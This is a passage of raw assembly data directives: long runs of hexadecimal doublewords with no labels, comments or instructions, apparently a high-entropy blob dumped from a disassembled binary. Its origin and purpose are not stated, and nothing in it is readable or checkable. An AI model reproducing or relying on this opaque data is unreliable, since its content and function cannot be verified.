0B8CC6163h, 169420h, 8759D893h, 2AE4ECA5h dd 0AAF06C71h, 24D94807h, 89605411h, 357FBA0h, 3DDF28B2h dd 1F883595h, 77EF89Ah, 0C45D9726h, 9283D500h, 1EBF754h dd 0E2D3822Bh, 0F4F1B2A5h, 9B3FA262h, 3394244Eh, 30C07300h dd 7BCFFC33h, 0EDE10051h, 0EAE96E8Eh, 6500C11Ch, 58826FC3h dd 0FD2219h, 7D4B6A30h, 23AE5421h, 500C2B06h, 1DA3240h dd 64BBE790h, 0C44E04A5h, 0FE004527h, 0F398A413h, 9B1667h dd 1D909519h, 0DA5EA217h, 0FCA8240Ch, 21B54CDh, 0FD82F6EFh dd 60C84D23h, 491DB607h, 5B833496h, 8040ACC3h, 0A1DED6CFh dd 5F603FDCh, 0BE2807B7h, 0E0C1E88Bh, 1CF4D57Bh, 56029A00h dd 921342EAh, 73760E25h, 59A28B30h, 8868C5CDh, 0C09F0F45h dd 673608EEh, 402B0853h, 0F25CAAD8h, 0C0CC89C0h, 3A88E06Eh dd 0C776725h, 2712CB21h, 0F800E220h, 0D83BC20h, 3E068Bh dd 80C1B0C8h, 0B7B9710Fh, 393AE2E6h, 0AB548041h, 12C6D3D6h dd 4F5201DAh, 7D654580h, 2EF4408h, 60754C4Ch, 0B7DA0468h dd 0C1914706h, 3C608D1Ah, 5A958B19h, 6904649Fh, 7D73C2h dd 1FCF35B1h, 2885309Bh, 48F23C20h, 0DFC9B40Eh, 0C411A0DBh dd 0B3D02BBh, 0AE0468F5h, 80351287h, 1B8D82FBh, 81BC2900h dd 6F1EE33Ah, 7C21F87Dh, 2040051h, 72EB3E8Ch, 0F4005385h dd 0C223A03Ah, 50934Ch, 349C557Bh, 1602AECBh, 4E2BB200h dd 3957FC4Fh, 0D594001Fh, 31FD0121h, 7F0542C7h, 820EC479h dd 6D1016C7h, 8A40AAh, 0CE7269C3h, 134DC142h, 0BCB0A00h dd 0B191D289h, 4E0500E2h, 9A553122h, 6C2EDDFDh, 30035928h dd 0B8F8C606h, 71CA17D1h, 0E897162h, 5DC9B2EAh, 4E349F80h dd 27FE1277h, 45FCCF00h, 85C272B5h, 3DF8A151h, 0C432DBD9h dd 40FA041h, 241C2B81h, 89CBF0F0h, 0C2A86A50h, 0BB36BF01h dd 0A3AEC7D7h, 52BDFECh, 3AB7D8CAh, 29ED18CBh, 9883DE3h dd 0D92E88A5h, 8963E488h, 11284067h, 0A2816B91h, 5644AC08h dd 437F88EBh, 82AAB81Dh, 4422B000h, 310BE69h, 0BCD709Eh dd 2000718Fh, 0F7A1D93Fh, 3FF5318Bh, 7F09C3h, 8C085D51h dd 0A00D0FF3h, 54987912h, 77F907EAh, 0D37A6549h, 6DA83684h dd 4D00BFA6h, 33677101h, 0E0B8ACA7h, 35180095h, 1F409C44h dd 661E131Dh, 580009D4h, 0BAD68896h, 85C30354h, 0DB71458Dh dd 0CA2C1498h, 6F246100h, 4AECD656h, 0C11F1E22h, 140F8087h dd 70CBF4F1h, 2D86A000h, 0F56EC63Dh, 575B1503h, 0E201E49Ah dd 0B9160F21h, 0E89C6027h, 8777F7E8h, 74CEED00h, 975EFAFBh dd 0E679D9h, 5A677752h dd 88C74CD2h, 1600A476h, 602BFC0Dh, 2658ADB6h, 0E8509E0h dd 0BA60BCF2h, 324E06F3h, 3B01477Dh, 0F7A4666Ah, 0C24E937h dd 508510ADh, 92C51C27h, 0C65ADD80h, 0C080B3h, 0A7F1BB48h dd 0A53D2078h, 0D079050Ah, 230B901Bh, 0B0B007A8h, 97C7080h dd 0ACF35846h, 0D2AE7A0Eh, 37A38F40h, 7301E0F8h, 3B672A7Eh dd 43E4781Fh, 983262C4h, 5048187Ch, 965C1CA6h, 0F3B5009Eh dd 0C5989F6Dh, 0B40E00EDh, 0B3CC0AC1h, 19003C61h, 97515B96h dd 7DCC076h, 4B321F7Ah, 0F048EDF4h, 3F0003FEh, 41A16074h dd 0C58F2Fh, 6A5A6D65h, 0CEBD872h, 0F914B25h, 0D9AE3DCh dd 1C67F197h, 0E1493F4h, 0EBE2CF94h, 0C5D52880h, 0BD2C5977h dd 43402840h, 113B0F7h, 0AC52FB69h, 0F87A7370h, 3500D44Eh dd 0A199AE16h, 0B8B4B1B8h, 97E4006Fh, 0F0A430CFh, 0BD006B59h dd 5F8F524Fh, 1C93E9F6h, 809E8C29h, 27A8C3B1h, 5A0039FAh dd 32F8EAB9h, 0CFAB0448h, 0D7E0F518h, 0A437217Bh, 65138CE6h dd 2000364Ah, 19C3E6Eh, 0C9BD1342h, 0D4FF0148h, 51D23C7Ah dd 8015C28Ch, 0CE610472h, 9824B0h, 4775FC52h, 96B18368h dd 0BE2FC409h, 0C63815Ch, 980E75Dh, 0E2130BC0h, 0DFB807EDh dd 0D41E6E77h, 8A0E7993h, 4C1041E0h, 0BC9435Fh, 0FA65A7D4h dd 138D0AC8h, 19BACC0h, 90569899h, 4F44B4Dh, 75F434DEh dd 0DB53C280h, 0F0124BE6h, 52601C28h, 0DF954910h, 0A1FA0122h dd 23021B82h, 77030D8h, 0B5C9349h, 80510FC3h, 66D44BF1h dd 3C3303E4h, 0BAD5ED13h, 927C2EE0h, 6AB72D1Ch, 971C2240h dd 0E02ABB0h, 33F2F149h, 40CCF3C7h, 6C7F5D8Fh, 7E45E000h dd 0BEBF266Bh, 0FCDD00A6h, 73E81FEh, 140E5719h, 874D9E69h dd 0FB809F02h, 0E16E0Ch, 0F27522B9h, 123092B0h, 0E2C1F500h dd 32B79788h, 0EBB80090h, 40CB0879h, 6600DE80h, 0FE56683Eh dd 0F47655h, 0BF8B4F64h, 0DE753CD3h, 53C50100h, 2EFC9C21h dd 3F6BE243h, 68BE9A52h, 6D401C80h, 0B4FE9B59h, 0CD4CD00h dd 9080FD7h, 43260050h, 7C3DBEB9h, 9C0006A8h, 93337514h dd 7186C5F2h, 0AC1200B6h, 493A5329h, 0E00A1F0h, 0B352E208h dd 2EF9E548h, 959BDEh, 4605D8BAh, 0E3001593h, 4F5E0F55h dd 0E467D9C6h, 91130752h, 30A48123h, 0CF0F0AFDh, 632CE300h dd 268B0E36h, 0E9CD0071h, 0C27F8194h, 1EE8B731h, 7900617Eh dd 4F3C74AFh, 26CA96h, 63A7F429h, 0AA71E714h, 9C1058h dd 504002A8h, 668BA6h, 0FE138F36h, 0EDBBEFDBh, 0FF002479h dd 77542F09h, 394EC951h, 7E00F22Dh, 0BE79B72Bh, 0BA01D884h dd 2F9E281Ch, 0AE204389h, 9ACB3B81h, 8F35E780h, 0A2CC80BFh dd 0AE002079h, 74752FD6h, 0E11E92h, 0EC375106h, 0D9329BD8h dd 2E4B0500h, 43831413h, 6CE30069h, 0B6B5D797h, 0BF005E84h dd 0CBD8C98Dh, 0CB8A4799h, 83D5F390h, 0A8FF2CD6h, 5C9593h dd 0F6FD83E2h, 53A60EDEh, 7E1A7700h, 0EA677FD8h, 1E6800DAh dd 0B198BA12h, 0B800341Ch, 0AC0DA2B6h, 74BF1h, 6D9F7C3Ah dd 70BB5A74h, 0B2C34507h, 2F6065ABh, 385E35EBh, 0F06C83h dd 634068E0h, 0FFFC3017h, 0C69DD900h, 0E1C809F0h, 1F723Ch dd 9C174CDBh, 0A831B529h, 0BB086F04h, 6D8075ABh, 1C0DF752h dd 4F67C484h, 6445A8E0h, 69EA8081h, 1B83FEEh, 400012FEh dd 2901D5CDh, 3133423h, 142E9641h, 47913042h, 96A06E38h dd 60F807AEh, 0D0635805h, 853AA49Bh, 0D496C8A1h, 0E839E668h dd 1C3F07F6h, 220065FAh, 0E5BCB9Eh, 726C5348h, 0D65D8580h dd 0E6003941h, 0E53B94A6h, 0FD7AB2h, 2FB9199Ah, 7011EBEDh dd 0A2773Eh, 0F70791ACh, 242FFECh, 507BB896h, 3C0EDFEh dd 1901DB74h, 0F39C9245h, 0D7D44809h, 4ECF1h, 97316376h dd 6044B535h, 0E8000D7Ah, 0B407F087h, 63EF71h, 8FE9F75h dd 9D6D3A25h, 416B5607h, 5A508A3Ch, 491D76h, 35A2A4C2h dd 24DB1EE7h, 7A6AEA00h, 8D8AF421h, 17E2058Fh, 0EC01E9B7h dd 0D03B0016h, 98EA429Bh, 0C641C037h, 36F42470h, 4F687E0Bh dd 0B159803Ch, 0CA77E8h, 0A5DBCFBDh, 97C7EFA6h, 7EAC705Eh dd 0E91BE00Ch, 3903D769h, 0F1A24FD0h, 497C089h, 0D34905D2h dd 0C0B0DC4Bh, 0B6BA3B3Ah, 0A5908E03h, 0E017855Bh, 6EE926h dd 38F59CAh, 0EB35C239h, 551FCD0Ch, 1D93B084h, 0DE30887Eh dd 1D4D12D4h, 5034C098h, 69075AA8h, 37024000h, 3B1CD817h dd 1DE6000Fh, 0F2430399h, 0C015FDAh, 0FC7DBBE4h, 6078E0h dd 12AFAF7h, 242B34BDh, 0DCD2BE14h, 0BC2C6C30h, 4F0059ACh dd 563CBA69h, 3E9300CBh, 9A886C1h, 0DCE47227h, 0DD00757Eh dd 0A9128AD9h, 1C7C59DFh, 40A389B5h, 835F1D43h, 6F000D9Ch dd 9141185Eh, 1FC825h, 4CB051D9h, 0B7344A70h, 0A55B6D00h dd 89332B40h, 0D64600B6h, 2C6536D9h, 9B01C01Bh, 1642A2D5h dd 56605720h, 98A00DFh, 0CB96FF01h, 0CD003F7Bh, 13FE8DC5h dd 18E7FDCAh, 6615CF11h, 1C00E118h, 0B28FFCCDh, 0B18767h dd 560AD506h, 8D5D36B4h, 4DD36500h, 0C8BAA237h, 27E8E3A4h dd 39B10042h, 0D2C1D49Ah, 841DA51Ch, 9DC03DA1h, 0EFC03E4Fh dd 425B00CDh, 38DD80A2h, 0D1D153Fh, 7F8056E9h, 0CB6417Ah dd 0D7740050h, 2D528967h, 0AC00D981h, 92C9E80Fh, 0A02AB68Eh dd 0C09FE7C0h, 30785920h, 0C900C55Ah, 80ABAB3h, 1D4E1394h dd 0C37DA37Fh, 6A3D8610h, 4F6B5100h, 0E69151B5h, 0A2C207C4h dd 56E963F9h, 440041A5h, 83B42018h, 791112h, 0E1890E5Ch dd 2F328751h, 703E13E2h, 2BB80EC2h, 109AA73Bh, 39E061DCh dd 7A7AC64Dh, 9D54044Bh, 0C0C14C0Fh, 0DF39C296h, 0A85539h dd 0BB30DB4Dh, 54C00Ah, 59734FEBh, 32BE8847h, 33F318C2h dd 86F1602Fh, 7DA40061h, 85265F8Bh, 70057DCh, 6DE99E3Eh dd 1FA91175h, 43D67BA2h, 9B45861Dh, 3E6353F0h, 0CD6A7400h dd 5A735218h, 9F670079h, 6C5047D0h, 5E07EDCAh, 0E373AF3h dd 6E886960h, 787723h, 0E5C6E612h, 180FAD43h, 0BDEAB800h dd 0C1513825h, 1EC4E636h, 0BE33A0C0h, 0CD80F0BAh, 445CAFF3h dd 420F3E6Dh, 0E0C0DB92h, 5E577F1Eh, 292D00E0h, 9043B5EEh dd 0F2B8A2AEh, 55B83C18h, 0E0DE5B09h, 18C7E80Eh, 1863BFD9h dd 0CF1EEBDDh, 6E00747Ch, 462F35Ch, 5AB70542h, 0C00120C7h dd 9ECA53BEh, 775839h, 0B3888A89h, 9F26DB75h, 5A3BA2E0h dd 0F8C40B00h, 0D2B2C0FAh, 666900AEh, 2B3954C3h, 0B80082FBh dd 0D6BE7FF0h, 0CB452Dh, 0F85158Fh, 999BEF2Fh, 6A010C00h dd 736693B0h, 1F687FC7h, 0E02CD97h, 0AFA00DEDh, 7FBB2EB1h dd 80EF213Ch, 74B5C1B4h, 0ECA9208h, 0CBD37525h, 9838E80h dd 95E823D7h, 6C15811Fh, 0D5C82041h, 70C8F4A6h, 8F1B1EDEh dd 990600D7h, 0A9FCC541h, 7928831Fh, 0E3D3BD00h, 3F1332F3h dd 2C80190Ah, 0F483ABF6h, 1A035A7Eh, 0FF23D573h, 0ED11902Bh dd 1CE43F0Bh, 67190487h, 3DDC0018h, 4DE23266h, 0CEF6B0F2h dd 6209F100h, 73231AE9h, 0EBCD00DAh, 0DFF91F0Bh, 0DD3A6F94h dd 85C23E48h, 69E63A11h, 0C091AB00h, 0BD751E2h, 0BD5C04C9h dd 0B90F9200h, 2503F75Ah, 73A31A1Ch, 775FB0BCh, 796C30DCh dd 0EB7422A0h, 5400CCF8h, 17731626h, 3559071h, 9181868Ah dd 0C0C0FDD3h, 0F100AA6Ah, 570430FCh, 0F758D1h, 0DEBAFFC3h dd 5F2EAE93h, 67EBB301h, 9C3CD74Ch, 0B06E98FFh, 0E8B902C8h dd 0F5876DD9h, 6B40C8CAh dd 0D3E69AEAh, 0B2CD6600h, 0DBF038CAh, 0FF48BAh, 57688D00h dd 0F5B9E5BCh, 3EDFB83Dh, 9EC482CFh, 4012DEFCh, 545AD3h dd 13BC46DDh, 0C594CAECh, 0BDD55E00h, 60B9BA4Ah, 0F26901C2h dd 5F54ED8Bh, 0C189705Bh, 0BDCDB602h, 60620193h, 1E0D326h dd 155BE802h, 20AF3C6Bh, 0C6023624h, 2D0D2AA8h, 0F24C7032h dd 1FA700DEh, 0D3B58B5Dh, 760139E4h, 62F18390h, 19709596h dd 0C5583AD4h, 841481D8h, 0E600C8ACh, 0A34D60F3h, 6C000ED3h dd 0B6AF6D15h, 342BAAh, 3E5A67D4h, 0DD7FA6B5h, 9492C107h dd 17134493h, 0BAC0DD55h, 721DA7Bh, 6C58D247h, 765E201Ah dd 7C1DE1BEh, 0A9048CB9h, 0B88085C4h, 6E816Fh, 0C7B42A0Dh dd 93765B29h, 0E03ED400h, 9AE9A1B0h, 0D2F00071h, 65FBB41h dd 0D7670FDh, 0AA001098h, 6CFB73A1h, 0D1414Eh, 7AA72ACAh dd 126E5D6h, 1871213Bh, 0A548CDC2h, 0A8900022h, 0D2584D40h dd 0A7A089EAh, 4600EE2Ch, 0B34B0BA0h, 0F35388h, 73CF6715h dd 79441A37h, 339B0800h, 0C904D091h, 428C00A2h, 0FD07F22Ah dd 91C036FBh, 69F7665h, 73C6001Fh, 241DCC16h, 513A9722h dd 0E57280D0h, 5523E0E9h, 253B266Ah, 0D26500F7h, 0FE49EA3Eh dd 3A099F00h, 0B323D8ECh, 0DB4C0035h, 69936429h, 63FC6ABCh dd 0FC8A3000h, 0B501B6Dh, 5A4107CCh, 4715457Eh, 0CF44B0B7h dd 7000C276h, 0B50DA3BDh, 1E4369ABh, 403423BFh, 8DDC37FBh dd 0CF7AFA76h, 50BC1800h, 52B920C3h, 0BBEEDEh, 46A844EEh dd 6DD597CEh, 244C691Dh, 0C3679300h, 0BD7F2Fh, 0AEF74D84h dd 0D93AC1B6h, 663F6909h, 0D2B40092h, 0A57FFCh, 0BFC22FE8h dd 0A3B5C7EAh, 0BD1FE67Eh, 5400E5A2h, 65A13E0Eh, 0EE9800C9h dd 0F9A02B97h, 997379EFh, 0A9D39007h, 689086FBh, 0B66CB4h dd 5C8AF56Dh, 642A8376h, 1ED21F00h, 0EEC3A7C8h, 80D34861h dd 2D6AA40h, 55906DBh, 14488D3Ch, 0FAF21A12h, 47E1E1Eh dd 0E7DBC600h, 3E2A5Eh, 0DABF8336h, 31802CFEh, 5A43DF01h dd 7496A504h, 2EF430D9h, 0D6DE009Ch, 1D19E546h, 77246D05h dd 0C000C4B2h, 0D31B4BEBh, 0C9920007h, 223EBF73h, 8C90567Ch dd 7402BE1Fh, 12E6C240h, 3D40D86Eh, 759614F4h, 87C91F54h dd 0D2D3D27Eh, 9861D7BAh, 7F868051h, 0CB5ED63Eh, 31A003D1h dd 45DBECFh, 45A5A8C0h, 6DC22200h, 93D7757Ch, 0EEFD0088h dd 0A9EFAAF7h, 3300D5A1h, 7891AB95h, 0E12DF74h, 2C03636Ch dd 6E1892A0h, 1C070C71h, 0BAD3C6Fh, 0FA1A7FC0h, 267258BCh dd 4B0FC0Eh, 21C84360h, 6B001C85h, 9C0CA37Eh, 7B7B6322h dd 0EAFA00FFh, 6897B636h, 14B09DA5h, 21DDB212h, 0E1EDB604h dd 0F0DA9083h, 0A71C9Ah, 0D6752B8Dh, 7DE69983h, 710E7206h dd 3D20ABBDh, 4480D8F8h, 0B959D0E5h, 0DC00391Ah, 2EC1EA4Bh dd 53CF099h, 0D6502283h, 0C7E88757h, 0C801E3C2h, 0AD9D09B8h dd 4E217100h, 66B6881Ah, 5AB809E9h, 6A00D034h, 6C2C57BFh dd 218B549h, 771B0729h, 0D6586916h, 93DE424h, 1001D227h dd 0DF15ACA1h, 0D6BCC844h, 98F52300h, 0E733E252h, 34B0392h dd 7DB5E15h, 41C5AD88h, 0A7A83D00h, 0EFAEFDFCh, 99781E83h dd 0B3B6029Ah, 48E052C3h, 5B16C935h, 0A7001E89h, 0C1706E7h dd 0BE7C4Ch, 32368B45h, 28806219h, 0E49B8701h, 976D007h dd 0BE95C8h, 56D64B82h, 79CA4EC9h, 0CBDA5000h, 8FBD55EBh dd 0F26D008Eh, 408969A7h, 8B03A8CCh, 92AB61A0h, 0E8698C4h dd 7C2B03F8h, 525AF34Ch, 0A1A7B180h, 3024EF00h, 151A472Eh dd 801B159Fh, 363B8C49h, 0F8B2A582h, 44C82795h, 7700DDCCh dd 0BFC7C1D7h, 0CB37CAh, 32CE3CB1h, 5575A460h, 54082213h dd 94F38C00h, 1F4B11h, 9196E28Ah, 24460682h, 0FCC04E00h dd 0ADE53F55h, 0D6EE0004h, 0CE05528Fh, 0AF00D5B9h, 326E7267h dd 481DCD91h, 0C0496619h, 0E4455300h, 37936F98h, 0E9F0831Eh dd 0C01AA20Fh, 7EAB2380h, 0B080ED97h, 0E0129A13h, 1A07A32Ch dd 18A21CEAh, 6A2F7641h, 2E064028h, 61266162h, 673FC90Eh dd 638780DCh, 0FA1D5F8h, 54FD9659h, 20E51387h, 73DB2DF7h dd 27D7C400h, 0FAB19119h, 0CCED005Fh, 0E466E2AFh, 0FE00DF90h dd 0E34B2F9Ah, 68AC7F6Dh, 505439ABh, 6842C42h, 1BA2D4B8h dd 99DD6062h, 88459900h, 0ECF316B0h, 615E0034h, 17690393h dd 0AD0335D2h, 7CC9C7A6h, 6779866h, 6DA31F70h, 0AE2280A4h dd 0E67B68ACh, 67BD3Ah, 5259C05Fh, 82A097h, 8CED1B62h dd 0A70BC7DAh, 110AF000h, 0BD36F2B0h, 0E155059Bh, 0EEFEB4BAh dd 0F3E9A980h, 3A7748h, 408E354Ah, 4C3F43C8h, 72F8F900h dd 0AE0601F5h, 641600C6h, 0D64108A3h, 8700046Dh, 0B8CDA94Fh dd 377B86CAh, 0F0E02F48h, 0C95E724Eh, 102ED800h, 0CF334988h dd 3BB400FCh, 866131D1h, 68FEB19Ch, 39431B30h, 324ABA8h dd 7B3923A0h, 19004460h, 6A171A53h, 0B7E730h, 6241F6D4h dd 95BAA472h, 283B3E24h, 0E97A4040h, 0A7DF669h, 93299BD5h dd 56FE8E24h, 6084840h, 2001D963h, 1F1CCB81h, 0FCE062DAh dd 0EEA8030Ah, 13913479h, 0E4E855D0h, 0EC414916h, 4FBE9500h dd 8F1719h, 4A570AFDh, 78267BC4h, 998B6200h, 0C16FB85Bh dd 6EFF1DB9h, 1A9D8FB1h, 2FF396E1h, 86D8D741h, 270006C7h dd 5F2C658Fh, 5011264h, 0F8468C5Eh, 1F9C008Bh, 0C44105E4h dd 13063500h, 0AFCBF701h, 779A0764h, 0A0B6FEC6h, 3C39D372h dd 2B38AC7Eh, 0FA5A0307h, 0C09DF6BBh, 0D7D0Fh, 0F8E287B9h dd 7901BD53h, 3EC81900h, 86976A69h, 95F10773h, 1F294A49h dd 2111A80h, 84166D89h, 0EC00030Ch, 0A978CA55h, 1357C2Fh dd 0D12EE212h, 5A39F63Fh, 1CF88A04h, 605D0423h, 6C01B946h dd 0FDE74400h, 0EE09B1ADh, 5D90009Dh, 41DE3F63h, 0A41FC07Fh dd 53C777AFh, 0BFB05C18h, 45DD3Bh, 0CCDCA2F6h, 0BD01B837h dd 2539EC00h, 540747E2h, 0C70E1803h, 562670DFh, 0C4879E00h dd 0B397CEC5h, 0ECB60024h, 0AE844530h, 0CA0018B7h, 3FC5C7A2h dd 29C83C6Ah, 0C22011FCh, 0DD303462h, 0D9BD60F7h, 0DC4D7C54h dd 92A1FB2Ch, 0D61FDB00h, 74E69E5Ch, 30E978F2h, 0D470CFE5h dd 5E078C52h, 0C7F560D3h, 19876E30h, 0FDA11339h, 98C01188h dd 30E8C030h, 0C578E18Ch, 4DCBB21Eh, 2D18A428h, 0AC29AD2Ch dd 3C400CEh, 551EC2ABh, 2D00C7BCh, 2294248Eh, 6FA49013h dd 8DA01045h, 0C74CF4B1h, 7F2A021Ch, 18D91A0Ah, 5C00DC97h dd 45FFC33Ch, 0F61CA011h, 0C636740Dh, 589C8428h, 0C4825500h dd 373921EFh, 124F8D0h, 44E72D10h, 8023E429h, 0C47B7431h dd 1E1A4836h, 85268558h, 0C3301C67h, 60098F8Ch, 8F8D6B2Dh dd 108AC0F5h, 3EDE3DC4h, 24003736h, 0EC670D6Ch, 0CE140BD4h dd 14C8F2Dh, 1DD15305h, 4DF9F476h, 88A73C0h, 4CA7C444h dd 2E4A6B1Fh, 8008643Ah, 852C8558h, 0F6D0C7C4h, 6EF82137h dd 0DB7E8400h, 0DFA1335Ah, 70B87F81h, 8F78182Ah, 0B96E29D1h dd 80CBEA00h, 89FD2251h, 96B100FFh, 0CE2E5F49h, 0A4000B7Eh dd 8B66A581h, 1C6E7717h, 1C1C2239h, 4814CE1Fh, 8A00EE4Eh dd 7B772A26h, 0FEBED200h, 0FBB1DD31h, 0E6A8005Ch, 0B7F4F732h dd 0EC174E62h, 1FE8094h, 74A27675h, 802FE1A3h, 60421230h dd 609F1F68h, 95BF10D4h, 0FB019B81h, 0B515D17Eh, 30412618h dd 2980284Bh, 3CBE5892h, 171BD399h, 1E96A5ABh, 16BAF60h dd 2814DAD1h, 724D4EBh dd 17403260h, 7C5C853Dh, 0BA220151h, 838863CDh, 0FF08CC42h dd 0D39B400h, 0F1536CEh, 683C1EA3h, 0AB26C101h, 0DC90E07Ah dd 38003764h, 59E581DCh, 6FA3023Eh, 4FC02910h, 39F711D0h dd 9ED33800h, 16BDDC19h, 0AA2211F5h, 4241003Dh, 8FE32DC8h dd 284D3D86h, 3ECDD800h, 9A9821Fh, 1802351Eh, 2BE67D00h dd 30D15938h, 0DC41134Ch, 17E80861h, 0F000BC76h, 47D14FF7h dd 7EAB683Fh, 0A5C58025h, 17306960h, 46FF90h, 5738BDBCh dd 0C989373Dh, 7850166Fh, 3842FAA0h, 618034AEh, 44F7DC17h dd 99904709h, 0C091F300h, 0A9FF25F6h, 0C8F91B3Bh, 0DDB021CEh dd 0F07848FAh, 39C011F4h, 0C25286C8h, 85980394h, 23E0DA0Dh dd 3A70F9F8h, 0F113FB00h, 0C06E361Fh, 470C30D7h, 83C54F40h dd 440BA01h, 6AA82329h, 2A68FF0h, 0EF5EFC18h, 3C83F9C0h dd 390023D8h, 0DE796729h, 0C4FFABE6h, 21FEC328h, 3E130AD9h dd 124287C0h, 370C53Ah, 55F1157Dh, 9C10197h, 5686646Ch dd 8708149h, 0BE66A16h, 0A0554086h, 71F8E13Fh, 18085931h dd 90C22B24h, 50C1F96Ch, 0F1DB40C3h, 883C9048h, 0ED00E92Ah dd 12017720h, 7F4DC7h, 6BC0405Ch, 176C0B63h, 39FB3C30h dd 98EAD7h, 1B0F71C3h, 4F5EE785h, 19031800h, 0DF49884Ch dd 0E71C3EDh, 0D2DB2BAFh, 0DABD16A0h, 75487D03h, 908B8208h dd 0C2DBAEDh, 0FAB69A41h, 86004FB0h, 0FD0158C4h, 0A5DCF83Ah dd 30E581E8h, 0F068E055h, 0D43B34A7h, 0A8F92AC0h, 0E8C48300h dd 0F839EB69h, 0CE5CA0DFh, 841C03Ah, 0B1047362h, 0AADEB30Ah dd 8A3EB01Eh, 0A4529E33h, 0B2E9C83h, 0B963E845h, 4199005Ch dd 0B6FD810Dh, 5D527318h, 8F5002B8h, 902B2311h, 8C874064h dd 4706DE10h, 6D602900h, 766A4638h, 9FFC9338h, 410358A3h dd 6F5487h, 7E6B09B1h, 0C7930ADEh, 1EC15E18h, 2069C1h dd 28D394EDh, 0B6CC5FEh, 33CFBF00h, 6A398814h, 0DAE309Eh dd 5A2E34A1h, 10853100h, 0BAD74C0Ch, 1FEA778Ch, 0F233D39h dd 0CCE0C6D1h, 0F9BCEE6Eh, 7F37E400h, 969A4731h, 33D0CAFDh dd 0C01E47C4h, 5E4E4B0Bh, 0CE31C500h, 7B20F487h, 2CEC1D59h dd 0D013CAE3h, 8417C4E4h, 52E440D4h, 7E874A55h, 0EC71F400h dd 4FFB8868h, 2B900FDEh, 17203B13h, 0C6D40923h, 9C03D129h dd 43B5DE07h, 0C9A600CFh, 0F4D6B7E9h, 0F8774Ch, 270E9D41h dd 661779E6h, 37654603h, 2A15405h, 75640941h, 0A8A216DEh dd 9446FE30h, 0C622AA74h, 0E79F31C4h, 0F81CF008h, 1200F7C9h dd 80CC4E1Eh, 9264390h, 48D8DAD0h, 3309FD80h, 0DCA4A054h dd 0F507058h, 86507A38h, 241943AEh, 0A1141667h, 8D5585ACh dd 0DCEC464Ah, 9DEE81FFh, 0B780D300h, 0E4EC1626h, 4364009Bh dd 0F727F183h, 30932D95h, 4F02DA88h, 60C18943h, 36EBDF90h dd 9CA8BAE6h, 110013C3h, 0E108FF1h, 14AF9E4h, 0A656306Ah dd 0E854BDE6h, 4C00CAC6h, 0C1CF860Ch, 53E216h, 83664663h dd 0C614DDC7h, 0B17A9207h, 2230CCDEh, 0B819DF2Fh, 3AFC008Ah dd 1F1CA1E5h, 16F0A40Eh, 0C3C88218h, 79BCF08h, 0D814B2DEh dd 60CC06A7h, 4E0052F8h, 9C285374h, 1A16FA4h, 0C41B19D2h dd 0CC82D370h, 4906F27Dh, 84A87C9Eh, 16880098h, 1F5C5EB7h dd 800173C9h, 76C6A66Fh, 79809BAEh, 0DC2B2969h, 3D0095DFh dd 0B94D6684h, 1B452EFh, 56F2834Eh, 80A89B18h, 47C7FD31h dd 6DA4232h, 4599046Eh, 0C107B815h, 4024B67Eh, 0E069C516h dd 56960E60h, 2785358Ch, 229843FEh, 39008FC7h, 538B7A7h dd 0EAA975h, 6544B8A3h, 8DD932C9h, 20E8020Fh, 0F1F0461h dd 23493FC1h, 680D718Ch, 0DE09DA51h, 80F33913h, 4AA327D5h dd 3D76002Bh, 3053426Fh, 0D97C654Fh, 28443500h, 0A78DA01Ch dd 9250306Bh, 3797E189h, 0A55464E4h, 3A0099A0h, 2C4D79C3h dd 348004h, 0F49BE207h, 7CB50587h, 4061B61Eh, 9FF06C18h dd 0B9703BA3h, 0ECD2043Ah, 2B00C422h, 7265EF7Dh, 1FE9209h dd 88E88E1Fh, 48941A19h, 33755CC8h, 643A0300h, 4A3F764Dh dd 591D00E2h, 97A5420Bh, 9D22B921h, 65CF00A7h, 1EF0B014h dd 51128478h, 1000A54Ch, 8313A0B8h, 7ABB05FAh, 2222449Ah dd 0A620919Ch, 29FA73h, 0E6C65C5Ah, 0C4402D84h, 0DD0E563h dd 0BA29608Fh, 0B2B33953h, 67121F1Ch, 24A78A3Bh, 293DB048h dd 0E48F8468h, 0C49E8091h, 0E6962EA2h, 0A749CE7Fh, 12443092h dd 28074BE8h, 67A178DBh, 80BBBCAAh, 6229698h, 17C6A36h dd 6C9290E8h, 893444DEh, 10CDA0A8h, 0B15C20h, 0EE437E8Bh dd 2B5735DDh, 4E746600h, 6E1F80ABh, 0B7103F2Ch, 48938450h dd 0A524A286h, 9AAA0300h, 7918B87Ch, 6DA9730Dh, 150C0039h dd 2271E86Fh, 0B9007FE1h, 0D9BB2818h, 0D71CAFh, 9839B0EBh dd 2A9759C1h, 4C522892h, 75187FCCh, 0D111A29Dh, 46ED00F8h dd 472B0C05h, 2D52966Eh, 27690CC4h, 1C39FDh, 380513A1h dd 0B06F7AB7h, 8C3BA612h, 90C48046h, 79440EF9h, 69401642h dd 9224C29Eh, 0F50B3B03h, 9860E245h, 904382C4h, 0D0E03F78h dd 279DA792h, 490C9034h, 5F39E2DAh, 0CF1F81D8h, 0C0042481h dd 13CB4ED4h, 3051ECADh, 1B1D0138h, 0F18D1409h, 4AC01FCh dd 5C322772h, 1C1A4705h, 0B880496h, 4427489Fh, 46489CB9h dd 0E8191444h, 1F1D0960h, 78A0CDFBh, 78A3DAE5h, 50E1D892h dd 0E77099D8h, 0C18F9602h, 6408A6BBh, 489A264Ch, 0D8754444h dd 74F00194h, 3C6523Eh, 0A673EC1Dh, 637CE8FEh, 1C1413A4h dd 83100020h, 0C670B85Dh, 198C60A8h, 0B613689Bh, 3375FC00h dd 77BC4Fh, 0CA75730h, 2D1FE102h, 62F1039h, 6A6F93BBh dd 0EC245378h, 5074E73Fh, 0F91780C0h, 0FF001037h, 9F25C17Bh dd 5D06DA14h, 0A7B3503Ah, 9A840688h, 0E06A1F40h, 99FFF4h dd 987F6F07h, 1CA56BE1h, 18C44CC6h, 29A1AEE2h, 0B301A257h dd 0EE42A9Bh, 18E4BDFFh, 7A4F0223h, 0FA3660E1h, 9E5F18C0h dd 0A70A8647h, 92CCD0FEh, 48D90693h, 9098DDh, 52AB7200h dd 1CEE4241h, 0EC4A5299h, 64301E20h, 7C5C1120h, 907CEBh dd 2A6ED2D4h, 2D528F09h, 0C8448CB0h, 0EF94A1B8h, 3A7ABAF4h dd 0D04967E3h, 5FA29100h, 19E20ED3h, 5966AD00h, 30822551h dd 0D4900B4h, 61E4FE85h, 581F3C98h, 7F00F775h, 0EA222902h dd 0C8B6088Ch, 420E1585h, 1FBFC0AFh, 5B6B47h, 5ACCD7DAh dd 0E47395FAh, 9740570Bh, 8A9C30CAh, 0BE42319Fh, 246D0D91h dd 